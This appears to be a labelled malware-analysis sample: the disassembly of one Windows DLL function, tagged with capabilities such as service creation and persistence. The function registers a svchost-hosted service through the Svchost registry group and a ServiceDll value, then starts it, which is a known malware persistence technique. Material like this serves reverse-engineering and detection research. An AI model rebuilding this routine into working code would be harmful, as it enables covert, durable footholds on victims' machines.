Function at 0x100049e0
Capabilities:
Create service
Get common file path
Get system information on windows
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10181391
mov eax, dword fs:[0]
push eax
sub esp, 0x294
mov eax, dword [0x101fd178]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov dword [ebp - 0x274], edx
mov edi, ecx
mov dword [ebp - 0x270], edi
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x260]
push esi
mov dword [ebp - 0x26c], eax
call fcn.10004550
push str.Group
mov ecx, eax
mov dword [ebp - 4], 0
call fcn.10003970
mov dword [ebp - 0x238], 0
xor ecx, ecx
mov dword [ebp - 0x234], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x248], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x238], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x24c]
cmp edx, 8
jb 0x10004ac7
mov ecx, dword [ebp - 0x260]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10004abd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004e73
push edx
push ecx
call fcn.1006e63c
add esp, 8
xor eax, eax
mov dword [ebp - 0x250], 0
mov word [ebp - 0x260], ax
mov dword [ebp - 0x264], eax
lea eax, [ebp - 0x264]
push eax
push 3
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
push reloc.WS2_32.dll_bind
mov dword [ebp - 0x24c], 7
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10004e18
cmp dword [esi + 0x14], 8
lea eax, [esi + 0x10]
mov dword [ebp - 0x27c], eax
mov edx, esi
mov eax, dword [eax]
jb 0x10004b22
mov edx, dword [esi]
cmp dword [ebp - 0x234], 8
lea eax, [eax*2 + 2]
push eax
push edx
push 7
lea ecx, [ebp - 0x248]
cmovae ecx, dword [ebp - 0x248]
push 0
push ecx
push dword [ebp - 0x264]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x10004e18
push dword [ebp - 0x264]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x278], eax
test eax, eax
je 0x10004e18
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.10087820
add esp, 0xc
lea eax, [ebp - 0x2a0]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov ax, word [ebp - 0x2a0]
cmp ax, 9
je 0x10004bcb
cmp ax, 6
je 0x10004bcb
push 0x104
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
jmp 0x10004bdd
push 0x104
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
push str._svchost.exe__k
lea ecx, [ebp - 0x218]
call fcn.100047b0
cmp dword [ebp - 0x234], 8
lea eax, [ebp - 0x248]
lea ecx, [ebp - 0x218]
cmovae eax, dword [ebp - 0x248]
push eax
call fcn.100047b0
mov ecx, dword [ebp - 0x26c]
cmp dword [ecx + 0x14], 8
jb 0x10004c1b
mov ecx, dword [ecx]
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x10004c25
mov eax, dword [esi]
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x218]
push edx
push 1
push 2
push 0x20
push 0xf01ff
push ecx
push eax
push dword [ebp - 0x278]
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [ebp - 0x26c], eax
test eax, eax
je 0x10004e18
push str.SYSTEMCurrentControlSetServices_
lea ecx, [ebp - 0x230]
call fcn.10003bd0
mov byte [ebp - 4], 3
cmp dword [esi + 0x14], 8
jb 0x10004c7f
mov esi, dword [esi]
mov dword [ebp - 0x274], esi
mov ecx, dword [ebp - 0x27c]
mov eax, dword [ebp - 0x21c]
mov edx, dword [ebp - 0x220]
sub eax, edx
mov ecx, dword [ecx]
cmp ecx, eax
ja 0x10004cda
cmp dword [ebp - 0x21c], 8
lea esi, [ebp - 0x230]
lea eax, [ecx + ecx]
cmovae esi, dword [ebp - 0x230]
lea edi, [edx + ecx]
push eax
push dword [ebp - 0x274]
mov dword [ebp - 0x220], edi
lea eax, [esi + edx*2]
push eax
call fcn.10086290
add esp, 0xc
xor eax, eax
mov word [esi + edi*2], ax
mov edi, dword [ebp - 0x270]
jmp 0x10004cf5
push ecx
push esi
mov byte [ebp - 0x270], 0
push dword [ebp - 0x270]
push ecx
lea ecx, [ebp - 0x230]
call fcn.10003790
cmp dword [ebp - 0x21c], 8
lea ecx, [ebp - 0x264]
push ecx
push 0xf003f
lea eax, [ebp - 0x230]
cmovae eax, dword [ebp - 0x230]
push 0
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10004db7
mov dword [ebp - 0x268], eax
lea eax, [ebp - 0x268]
push eax
push str.Parameters
push dword [ebp - 0x264]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x10004db7
cmp dword [edi + 0x14], 8
mov eax, dword [edi + 0x10]
jb 0x10004d58
mov edi, dword [edi]
lea eax, [eax*2 + 2]
push eax
push edi
push 2
push 0
push str.ServiceDll
push dword [ebp - 0x268]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x10004db7
mov esi, dword [ebp - 0x26c]
push eax
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push dword [ebp - 0x264]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x268]
call edi
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push dword [ebp - 0x278]
call esi
mov esi, 1
jmp 0x10004db9
xor esi, esi
mov edx, dword [ebp - 0x21c]
cmp edx, 8
jb 0x10004df9
mov ecx, dword [ebp - 0x230]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10004def
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004e78
push edx
push ecx
call fcn.1006e63c
add esp, 8
xor eax, eax
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
jmp 0x10004e1a
xor esi, esi
mov edx, dword [ebp - 0x234]
cmp edx, 8
jb 0x10004e56
mov ecx, dword [ebp - 0x248]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10004e4c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004e7d
push edx
push ecx
call fcn.1006e63c
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1006e62b
mov esp, ebp
pop ebp
ret
call fcn.1008a259
call fcn.1008a259
call fcn.1008a259
int3